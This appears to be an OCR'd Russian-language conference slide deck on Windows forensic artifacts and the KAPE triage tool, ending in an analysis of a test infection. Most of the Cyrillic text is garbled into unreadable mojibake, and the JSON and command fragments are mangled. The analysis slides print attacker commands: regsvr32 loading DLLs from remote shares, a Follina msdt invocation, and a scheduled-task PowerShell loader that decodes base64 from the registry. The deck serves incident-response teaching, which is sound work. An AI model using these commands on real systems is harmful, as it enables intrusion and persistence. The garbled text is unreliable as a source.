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KaTeropuu forensics aptecakToB 5058

* Application Execution * Cloud Storage

* Browser Activity Location

N H




OrpomHoe pa3Hoobpa3ue forensics aptecdakToB

Application Execution

Shimcache

Amcache

Jump Lists

Prefetch

UserAssits

Last Visited MRU
SRUM

Windows 10 Timeline
Task Bar Feature Usage

CapabilityAccess Manager

A System Information

Operation System Version
Computer Name

System Boot Programs
Autostart Programs

System Last Shutdown Time
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@ File and Folder Opening

Open/Save MRU

Recent Files

Last Visited MRU

Shortcut (LNK) Files

Shell Bags

Office OALerts

Jump Lists

Office Recent Files

MS Word Reading Location

Office Trust Records
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OrpomHoe pa3Hoobpa3sue forensics apredakToB 5058
Browser Activity @ Account Usage
. Browser History . Last Login and Password Change
. Download History . Authentication Events
. Media History . Successful / Failed Logons
. Bookmarks . Logon Event Types
. Stored Credentials O RDP Usage
. Cache . Create / Delete Account
. Cookies 0 Account Group Membership
. Browser Preferences . Cloud Account Details
. Extensions

. HTMLS Web Storage
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OrpomHoe pa3HooOpa3ue forensics MHCTPYMEHTOB 2023

[MPOBJIEMATUKA

*__Sysinternals Y KaXOoro MHCTPYMEHTa CBOM

 NirSoft
e FTK

* Volatility

3anyck rno otaefibHOCTM 3aHUMaeT
OYEeHb MHOIro BpEMEHU (XpaHeHHUE,
Krnaccmdukaumsa pesynsraTtos)

* PowerForensics




Kape — MHCTpymeHT aBTOMaTM3auum cbopa m FORUM

2023

dHdJ/IU3a Ll,VI(I)pOBbIX cenaeTenblTs

* MoaynbHasa apxuTekTypa .

* YOobHbIN nHTEPdENC

* [nbkoe pobaBrneHne HOBbIX MHCTPYMEHTOB
* [lpenyctaHoBrEHHbIM HAOOP Moaynemn
* Bbicokas npon3BoaANTENLHOCTb

* BO3MOXXHOCTb pa3paboTku cOBCTBEHHbIX
Moayneu

e becnnaTHbIU



Source

Live system

Anroputm pabotbl KAPE

KAPE Destination KAPE

Target Options Files from Source Module options

Mounted image are copied here

F-Response

Module Output

Programs run
against
destination files
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Kape GUI

\Use Target options
Target options

Target source | cy

][

Target destination | C:\data

][] Frush Claddod [ acd %m

lUse Module options
Module options

Module source |C:‘qdaia

[] [-]

Module destination |C1\||'esu|ts

[~][-] &P [Jadds%d [Jadd%m [Jzp

SOC
FORUM
2023

Targets (Double-click to edit a target) Modules (Double-click to edit a module)
P P
Selected ‘Name |Folder |Descri|:|tor| | Select... |Name |Fo\der |Categor\-I |Descn|:|ﬁon |
? [m] Al aflc Al A 7 W @ Al e Aflc ~
3 O \BasicCollection Compound Basic Collection 3 [ 1Toolsync Compound Sync Sync for new Maps, Batch Files, Targets and Modules
O ISANS_Triage Compound SANS Triage Collection [ 1EZParser Compound Modules Eric Zimmerman Parsers
|:| SBoot Windows £Root |:| AmcacheParser EZTools ProgramExecut... AmcacheParser: extract program execution information
O &] Windaows 3] [ | AppCompatCacheParser EZTools ProgramExecut... AppCompatCacheParser: extract AppCompatCache {shimcache) information
O &logFile Windows SLogFile []  pitsParser GitHub GitHub Tool to parse Windows Background Inteligent Transfer Service database files
|:| EMFT Windows EMFT []  BMC-Tools_RDPBitmapCacheParser GitHub Remote Access  BMC-Tools: RDP Bitmap Cache parser
O EMFTMirr Windows EMFTMirr [ bstrings Compound Modules Run all bstrings Modules
O £5D5 Windows 505 []  bstrings_aeonwallet bstrings Keyword3earc...  Use bstrings to GREF for Ason Wallets
O &7 Windows &7 []  bstrings_BitCoinWallet bstrings KeywordSearc... | Use bstrings to GREP for BitCoin Wallets
O 1Password Apps 1Password Password Man... []  bstrings_Bitlocker bstrings KeywordSearc... | Use bstrings to GREP for Bitlocker recovery keys
O AVideoDownloader Apps 4 Video Downloader [  bstrings_ByteCoinwallet bstrings Keyword3earc...  Use bstrings to GREP for ByteCoin Wallets
O AceText Apps AceText [[]  bstrings_CreditCards bstrings KeywordSearc... | Use bstrings to GREP for Credit Card numbers
O AcronisTrueImage Apps Acronis True Image [] | bstrings_Cryptowallets Compound Modules Run all bstrings Crypto Wallet-related Modules
O Amcache Windows Amcache.hve [ bstrings_DashCoinwallet bstrings Keyword3earc...  Use bstrings to GREP for DashCoin Wallets
1 Ammyy Anns Ammyy Nata hi [1  bstrings DashCoinWallet2 bstrings KeywordSearc... | Use bstrings to GREP for DashCoin Wallets v
["]Process vsCs Deduplicate Container | (iNone (JVHDX (JVHD (@ Zip | Export format | @ Dpefault ()Ccsv  (OHTML () JSON
SHA-1 exdusions Base name |Requi|'ed | - | Module variables Key -
| | v| |I| Zip container Transfer Value l:lﬂ
Target variables Transfer options

SFTP | 53 AWS 53 Presigned URL

v [ ]

e [ o]

Current command line

Azure storage

.

Other options
|:| Debug messages |:| Trace messages

|:| Ignore FTK warning

[ Retain local copies

‘.\kape.exe —-tsource C: --tdest C:\data --tflush --msource C:\data --mdest C:\results --mflush --qui



Kape targets

bescription: SANS Triage Collection

Author:
Version:

Mark Hallman
1.3

Id: 1bfbd59d-6c58-4deeb-9da7-1d9612b79964
RecreateDirectories: true

Targets:

Mame: Antivirus
Category: Antivirus
Path: Antivirus.tkape

Name: CloudStorage_Metadata
Category: Apps
Path: CloudStorage_Metadata.tkape

MName: CombinedlLogs
Category: Windowslogs
Path: Combinedlogs.tkape

Mame: EvidenceOfExecution
Category: EvidenceOfExecution
Path: EvidenceOfExecution.tkape

MName: FileSystem
Category: FileSystem
Path: FileSystem.tkape

Name: LMKFilesAndJumplists
Category: LNKFiles
Path: LMKFilesAndJumplists.tkape

Name: MessagingClients
Category: MessagingClients
Path: MessagingClients.tkape

Description: LMK Files and jump lists
Author: Eric Zimmerman, Andrew Rathbun, Yogesh Khatri
Version: 1.3
Id: 2e354bdc-ed18-438e-8439-c21c83c64e90
RecreateDirectories: true
Targets:
Mame: LNK Files from Recent
Category: LNKFiles
Path: C:\Users\¥user®@\AppData\RoamingiMicrosoft\Windows\Recent),
Recursive: true
Comment: Also includes automatic and custom jumplist directories

MName: LNK Files from Microsoft Office Recent

Category: LNKFiles

Path: C:\Users\¥userX@\AppData\Roaming'Microsoft\Office\Recent?,
Recursive: true

MName: Start Menu LNK Files

Category: LNKFiles

Path: C:\Users\¥user®@\AppData\Roaming'Microsoft\Windowsi5tart Menu\Programs
FileMask: "=.LNK®

Mame: LNK Files from Recent (XP)

Category: LNKFiles

Path: C:\Documents and Settings‘\XuserX\Recent)
Recursive: true

MName: Desktop LMK Files XP

Category: LNKFiles

Path: C:\Documents and Settings‘\XuserX\Desktop)
FileMask: "*.LNK"
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Kape modules

Description: Eric Zimmerman Parsers
Category: Modules

Author:
Version:

Phill Moore
1.4

Id: t53le/cc-c973-4d84-881b-dbc89dle/ 38
BinaryUrl: https://ericzimmerman.github.io/
ExportFormat: csv

Processors:

Executable: AmcacheParser.mkape
CommandLine:
ExportFormat:

Executable: AppCompatCacheParser.mkape
CommandLine: ™"

ExportFormat: ""
Executable: EvtxECmd.mkape
CommandLine:

ExportFormat:

Executable: JLECmd.mkape
CommandLine: ™"
ExportFormat:

Executable: LECmd.mkape
CommandLine:
ExportFormat: ""
Executable: MFTECmd.mkape
CommandLine:
ExportFormat:

Executable: PECmd.mkape
CommandlLine: ""
ExportFormat:
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DESEPiptiUH: "AmcacheParser: extract program execution information’
Category: ProgramExecution
Author: Eric Zimmerman
Version: 1.1
Id: 4198c518-524F-4623-8038-a014784cB18c
BinaryUrl: https://f881.backblazebl.com/file/EricZimmermanTools/AmcacheParser.zip
ExportFormat: csv
FileMask: Amcache.hve
Processors:
Executable: AmcacheParser.exe
CommandlLine: -f ¥sourcebFile® --csv ¥destinationDirectory® -1 --mp
ExportFormat: csv

# Documentation

# https://github.com/EricZimmerman/AmcacheParser

# https://binaryforay.blogspot.com/2815/87 /amcacheparser-reducing-nolse-finding.html
# https://ww. youtube . com/watch Mv=2K1yu-HOwxY

# https://www.youtube. com/watch?v=GhCIfCzn21B

10
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Kape Live Incident Response 5033

+| Use Module options
Module options

Module source C:\data

Module destination |c; \results

| ... Flush

Mame Folder Category

Aflc Aflc Afc Live
Crowd5trike_CrowdResponse Apps LiveResponse
Kaspersky _TDSSKiller Apps LiveResponse
LiveResponse_NetSystemInfo Compound LiveResponse
LiveResponse_MNetworkDetails Compound LiveResponse
LiveResponse_ProcessDetails Compound LiveResponse
log4j-scanner GitHub LiveResponse
Loki_LiveResponse GitHub LiveResponse
MagnetForensics_EDD Apps LiveResponse
McAfeeStinger Apps LiveResponse
MirSoft_LISEDeview MirSoft LiveResponse
PowerShel_Defender_Exclusions Windows LiveResponse
PowerShel_DLL_List Windows LiveResponse

Add 3%m Zip
Modules (Double-click to edit a module)

¥ | Description
Aflc
CrowdResponse is a lightweight Windows console application designed to aid in the gathering of system information for incident response and security enga. .
Shows if the system have either rootkits or bootkits, TDSSKiller tool for detecting and removing rootkits and bootkits
Gathers Basic System Information Using the Met Command
Metwork Details
Combination Module for LiveResponse. Gathering Running Process Details
Yulnerability scanner and mitigation patch for Log4j2 CVE-2021-44228
Loki - Simple IOC and Incddent Response Scanner - Live Response
Checks the local physical drives on a system for TrueCrypt, PGP, VeraCrypt, SafeBoot, or Bilocker encrypted volumes
McAfeeStinger scanner
USEDeview - Mirsoft
Windows Defender Exdusions

DLL List

11
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CobctBeHHbIN moaynb LiveResponseAll 5058

(3 XocTtoBaga Ternemetpus (powershell ckpmnT)
EI (Mpouecchl, cnyxobl, ApanBepa, 3agadun NaHMpPoBLLMKa, logon ceccumn, ceTeBble COeANHEHUS, CETEBLIE

HaCTPOWKW, yCTaHOBIEHHble 06HOBNEHNA/T0,...)

CkaHepsbl namaTtn (loC/IoA, yara)
Moneta, PE-Sieve, Get-InjectedThread, Hollows hunter, YaraMemoryScanner

CkaHepbl xocTa (yara, sigma)
Loki, Chainsaw, Hayabusa

ApTedaKkTbl XOCTa (aBTo3arpyska)
Autoruns (powershell), Kansa

Q@ D
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YoaneHHbIn 3anyck moayns LiveResponse

i} Kape 1 Bce Heobxoammble Mmoaynu

pacnosioXeHbl Ha OTAeNbHOM cepBepe o
Ha cepBepe xpaHutca PS ckpunt, 3anyckatooLmm
kape Ha yganeHHbIX XocTax
@ Cepsep goctyneH no SMB UNC é_

PesynbkraThl N0 KaXXOoOMy XOCTY XPaHATCS Ha
BblEITEHHOM CepBepe

Launches script for
list of targets

$Session = New-PSSession - ComputerName (Get-Content computers.txt)

Stars of Job on

Invoke-Command -Session $Session -ScriptBlock {
Remote Target

Runs KAPE Start-Job - scriptblock { \\Server-A\KAPE\kape.exe }}




CueHapuit BpeAOHOCHOro 3apaKeHus

Beachhead et

Spearphishing (

MHumoeHT

IP=104.36.139.80 IP=192168.4.21 €2:190.123.44.126
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HacTtpounkn moaynsa KAPE 2023

KomaHOHaga cTpoka ang 3anycka: .\kape.exe --scs 89.214.32.45 --scp 22 --scu
user --scpw P@sswOrd --msource C:\ --mdest C:\results --module
LiveResponseAll

CkomMnpomeTupoBaHHbIN XOCT: 192.168.4.21

Tunbl apTedakTos:

- XOoCToBaga TenieMeTpus (3anyLleHHble NpoLecchbl,ceTeBble COeaUHEHUS ...)
MHoukaTopbl aTakn Ha xocTte (pannosasa cuctema, Eventlog)
MHOukaTopbl atakn B NnamsaTu

15



CobcTtBeHHbIN Mmoayrb LiveResponse

Description: LiveResponse modules
Category: Modules
Author: Security Vision

Version:

8.9

Id: d97624f2-d942-4cB8-9ef4-8206087837b3
BinaryUrl:

ExportFormat: csv

Processors:

Executable: Get-Artifacts.mkape
CommandlLine: ™"
ExportFormat: ™"

Executable: YaraMemoryScanner.mkape
CommandlLine: ™"

ExportFormat: ™"

Executable: MonetaScanner.mkape
CommandLine: ""

ExportFormat: ™"

Executable: Get-InjectedThread.mkape
CommandLine: ™"
ExportFormat: ™"

Executable: PE-Sieve.mkape
CommandlLine: ™"
ExportFormat: ™"

Executable: Chainsaw.mkape
CommandLine: ™"
ExportFormat: ™"
Executable: Hayabusa.mkape
CommandLine: ™"
ExportFormat: ™"

Executable: Loki.mkape
CommandLine: ™"
ExportFormat: ™"

Executable: Autoruns.mkape
CommandlLine: ™"
ExportFormat: ™"
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Description: Powershell mogynb, cOBMpawwWid TenemeTpuw C XOCTa

Category: LiveResponse

Author: Security Vision

Version: 8.9

Id: 32addBa5-elee-48d2-a242-afbl58eftad9s

BinaryUrl:

ExportFormat: json

Processors:
Executable: C:\Windows‘\System32\WindowsPowerShelllwl.@\powershell.exe
CommandLine: "& '¥kapeDirectoryi®\\Modules‘\bin\\Get-Artifacts.psl® -all"
ExportFormat: json

# Documentation

# Powershell mooyne, cobBupanwMid TeneMeTpuw C XOCTA

(npoueccu, cnyxbu, Apadeepa, 3afaqYu NNaHUPOBWMKE, logon CECCMM, CETEBbe COSAMHEHWA,
CeTeBkle HaCTPOWKM, YCTaHoBNeHHse obHoenedna/N0,...)

16
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Llenoyka 3apakeHusi TECTOBOro CcueHapus 2033

1 92.1 68421 exploit embedded inside a

c\windows\System32\sdiagnhostexe ‘\

D— Pt o _l:L regsvr32.exe -s\xx.x.x\c$\lidfxngjotktx.dil

Beachhead 4

i'
L] 1
] |
1 1
1 1
1 1
1 1
| |
1 |
1
1
1
1
1
I
|
I

Windows Utilities
(_

Remote File Creation

and execution on Lemm— = _I:l_ regsvri2.exe -s\\xx.x.x\cS\xyxfdflkdidgs.dil
multiple hosts -

(@ UL Lo I - Discovery Activity <
k, AdFind

CVE-2022-30190 (Follina)

Work Doc

chwindows\Syswow64\explorer.exe

‘4

c\windows\System32\regsvr32.exe " C\Users\«Redacteds\ Starts and Injects

v
I
1
I
1
1
1
I
I
I
I
I
I
I
1
I
1
1

AppData\Local\Temp\tA — ~— B8 nslookup
- . .
c\windows\System32\regsvr32.exe  C\Users\«Redacteds\ Discove ry Commands - whoami
AppDataiLocal\Temp\tA
‘ \ ‘. |EM net view /all
ci\windows\System32\regsvr32.exe " C\Users\«Redacteds»\ )
AppData\Local\Temp\tA =

powershell.exe -Command IEX{[System.TextEncoding]:

C'\windows\Syswowéd\explurer exe > ASCILGetString (ISystem Convertl: FromBase645tring ((Get-
- - . - - : ItemProperty -Path HKCUASOFTWARE\Benfouqeaq).

rxftejkhydnwmpt}))

17



CobpaHHble apTedaKTbl Kape

Tan ApTtedakTt Moaynb MUcTOoYHUK

BpenoHocHbI docx, Follina Loki dannoBasg cuctema

Powershell encoded

Moneta, Hollows_Hunter MNamsaTtb

3anyck Explorer, ncnons3sys TexHuky Process Hollowing

3anyck komaHa cbopa gaHHbix (net, whoami, nslookup, adfind)  Chainsaw, Hayabusa Eventlog

dannosas cuctema

CosgaHue 3agadn nnaHUpoBLLMKA LiveResponse.ps1, autoruns.ps1
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PesynbraTtbl paboTbl Moayna Kape FORUM
(LiveResponse.ps1)

"NETSTAT™: [

{
"Protocol™: TICET,
"Localkddress™:  "0.0.0.07",
"LocalPort™: Ta2",
"Bemoteldddress™:  "0.0.0.07,
Local Disk (C:) # results ) "BemotePorc": "0,
"State™: "LISTENING™,
o
e - "Processhame™: "sshd",
Mame Date modified Type “pID": "4l€8",
Ty . e - i "Path": "C:WMWProgram Files‘\\Open33H\\sshd.exs"
| autoruns,json 10/27/2023 2:37 PM JSON File :
r
by - - e A i
[ chainsaw.json 10/27/2023 2:38 PM JSOM File {
ok . R R "Protocol™: TICPT,
[ Get-InjectedThread.bxt 10/27/2023 2:41 PM TXT File Localiddresst:  "h.0.0.0%,
g . e - . S
| hayabusa,json 10/27/2023 2:33 PM JSOM File LocalPort”: "1357,
- . ) "Remotelddress™: “"0.0.0.07,
[ Hollows_hunter.tct 10/27/2023 2:44 PM TXT File "RemoteEFort™: "0,
by . . [ — ) " - w o
M Live_Response.json 10/27/2023 2:36 PM JSOM File State’:  "LISTENINGTY,
- : - - : "Processlame": "svchost”,
a loki.bct 10/27/2023 2:37 PM TXT File "PID": "1123",
Ty P [ "Path": TCOWWINDOW, rstem32 vchost.exe™
o moneta.t 10/27/2023 2:41 PM TXT File } Fath VARINDOWS\\ system32i\ svehost. ex
i ¥ R P R . B !
[ pe-sievext 10/27/2023 2:44 PM TXT File I
g, M FTT AT 7047 O R "Protocol™: TICET,
M YaraMemoryScanner. bt 10/27/2023 2:43 PM TXT File "Localiddress™: "192.165.4.21",
"LocalPort™: "3nga2z2v,
"Remotelddress™: | "190.123.44.1287,
"BemotePort™: 4437,
"State™: "ESTRBLISHED"™,
"Processame™: "Regsvr3i.exe",
"PID": "llg40™,
"Path": "COOGWWINDOWS\\system32\\Regsvr32.exs"
be

19



Pesynbratel paboTbl Moaynsa Kape
LiveResponse.ps1

"SCHED_TASES™:

"taskt: "JEOADER3T-C329-49g7-9CF5-2632DRATDSTBE}”,

SOC
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"powershell -Command IEX({[System.Text.Encoding]::ASCII.GetString({[System.Convert]::FromBaseddString((Get-ItemProperty -Path HECU:\SOFIWARE\Benfougcgg\rxftejkhydnwmpt) )™

"atatus": "Ready",
"aser™: "SYSTEM"

"task™: ™\\MicrosoftEdgeUpdateTaskMachineCore™,
"task_path": "C:\\Program Files (x8&)‘\\Microsoft\\EdgelUpdate\\MicrosoftEdgelUpdate.exe /c",
"status": "Ready",

"aser™: "S5YSTEM"

"task"™: ™\\Adobe Acrobat Update Task™,

"task_path": "C:\\Program Files (x36)‘"Common Files‘\\Adobe‘ \ARM"\1.0\\ZdobeRRM.exe ",
"status": "Ready",

"azer"™: "INTERRCTIVE™

"task": "WGoogleUpdateTaskMachineCore|{C31B1405-A566-4RCT7-B1ES-08974C055814611 ",
"task path": "C:\\PFrogram Files (x8&)\\Google\\Update\\GooglelUpdate.exe\" fc\"",
"status": "Ready",

"azer™: "SYSTEM"

20



Pesynbratel padbotel Moayna Kape (Chainsaw) 2952

sZSBoaWRLZWAgLUFyZ3V
AeRjoqICimindnYisleGUiOw="4+[char]34+')) "} )))i/../.. /.. /..

{
"group": "S5igma"”,
"kind": ™individual™,
"document":
i ]
mmandline™: "ma-mesdt PCHI
"[char]58+(char]58+'UTFS.GetString ( [System.Convert] "+[char] 58+([char] 58+ ' FromBase€45tring( "+
"raWxsICSmICSpbSBtc2R0Lm U3RhcnQtUHIvY 2VzeyAkY21kICL 3aWSkbidz
"UFBIDEucHFyP]EudCY¥mY2VydHV0aWwgLWR1 Y29k Z5AX LndgMS5 ) ICYmZ X hwYWS EIDER
WINDOWS'\system32\madt.exe",
Level": "Medium®,
"0xl13531"
e": "C:\Program Files\Microsoft Cftlcexkcotkctii:ELE\HZNHGRD.EXE"J
IH1O\\teat™,
"2023-10-18 17:51:13"
}F
“System”: {
"Channel®™; "Security"™,
"WINLO®,
588 L]
RecordID®: .
l
tential Arbitrary Command Execution Using Ms-:lt_.}'_‘.\EE",I
: "2022-05-18T12:10:10%,
[
“Florian Roth (Nextron Systems)”
1.
"level®™: "medium”
"gsource”: "sigma”,
"status”: "experimental”,
"b23619%0c-1cEl-41le9-04b3-3Le03LedTebO",
{
"catego : "process_creation”,
"product™: “windows™
I
"references”: [
"hettps://app.any.run/tasks/713£05d2-feT8-4b9d-aT44-£Tcl 33e3fafb/"
]J
"tags™: |
"attack.defense_evasion”,
"attack.tl202"
1
b

fid PCWDiagnostic /skip force /param \"IT RebrowseForFilescal?c IT LaunchMethods=ContextMenu IT SelectProgramsNotLi
[char] 34+" JGHCZCASICTI01x3aW5 kb3dzXENSc3R1bTY,
i MgY2QglzpodilNlcnlc 1

SOC
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"group”: "Sigma",
"kind": "individual™,
"document™: |
"kind™: "ewvtx",
"data™: {
~Esremt ™z ]
"EventData™: |

me

"Tmage”: "C:\\Windows\\System32\\regsvr3i.exe",

CommandLine™: "C:\\Users\\test\AppData‘\‘\Local\\Temp\\t.

n-,

"IntegritylLewvel™: "Medium™,
"LogonId™: "0x13531",

"ParentImage™: "C:\\Windows\\Sy¥stem32\\sdiagnhost.exe",

"User™: "WINLO\\test",

"UtcTime™: "2023-10-15 17:51:14.254™
I
"System™: |

"Channel™: "Security™,

"Computer™: "WIN1O™,

"EventID": 45E

"EventRecordID™:

a8

}
e
"name":I"Regsvr32 Execution From Potential Suspicious Location",l
"timestamp™: "2019-05-18T17:51:14.254967400:00™,
"authors™: [

"Florian Roth (Nextron Systems)™

]!

"level™: "medium",

"source™: "sigma”™,

"statusT: "experimental”,

"id"™: "b23619%0c-lc6l-41e9-24b3-3fe03£6d4d76b0™,

"logsource™: |
"categoryT: Tprocess_creation”,
"product™: "windows™

e

"references™: [

"https://app.any.run/tasks/34221348-072d-4b70-93f3-aaT7lffebecad/™

1.

"taga™: [
"attack.defense_ewvasion™,
"attack.tl2lg.010™

21




Pesynbratel paboTbl Moaynsa Kape
(hollows hunter, Get-InjectedThreads)

"scan _date_ tims"™ : "10/27/23 09:27:297,

"scan timestamp”
"scan tims ma™
"scanned count™
"suspicious_count™

"suspicicus™ @ [
{
"pid” .
"is managed” = (O,
"name™ : "eXplorer 5331,

"replaced™ 1 O,
"hdr modified™
"implanted pe™
"implanted shc™
"unreachable file™
"other™
be

"pid” '
"iz managed” = 0,

"name™ 1 "regsvril.

"replaced™ 1 O,
"hdr modified”
"implanted pe"
"implanted shc”
"unreachable file"
"other"

"ProcessName™: "explorer.exe™,
"ProcessIdT: .

"Path": "C:\\WINDOWS\\Explorer.EXE"}

"KernelPath™: "C:\\Windows‘\‘\explorer.exe",
"CommandLine™: "Co\WWINDOWS\\Explorer.EXE"™,

"PathMismatch™: false,

"ThreadId": .

"ThreadStartIime": "/Date(l69842332811&)/",
"kllocatedMemoryProtection™: .
"MemoryProtection™: .

"MemoryState™: .

"MemoryIype™: .

"BagePriocrity™: £,

"IsUniqueThreadlcken™: false,

"Integrity”: "MEDIUM MANDATORY LEVEL",
"Privilege™: "SeChangsNotifyPrivilege",

o

"LogonId™: "894aT,

"Jecurityldentifier™: "5-1-5-21-3163525606-1107523640-3692433654-1001",

"UserMName": "DESETOP-SMVDBSS\A\SYSTEM",
"LogonSessionStartTime™: |

"walus": "/Date (l693336465820) /",
"DateTime™: "Thursday, October 2&,
e
"LogonIype™: "System”,

"EuthenticationPackage™: "NILM",
"Baselhddress”: .
"Size":

"Bytes™: [252, 72, ' ']
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[lpenmyLecTBa cobCTBEHHOIO MoayNs FORUM
LiveResponseAll

[Toooepxka json output Bcemn komaHgamu B otnmdune ot komang OC
(net,netstat,nslookup,wmic,...)

[lobaeneHbl HOBblE forensics MHCTPYMEHTLI (CKaHepbl namsaTu, ckaHepbl |0C/I0A,
aaHHble no OC)

UacTtb moayrneun nepenucaHbl Ha powershell (autorunsc)
ABTOMaTM4eCKaa 3arpyska HegocTatoLmnx Moaynen
ABTOMaTU4YeCKNN yoaneHHbIN 3anyck
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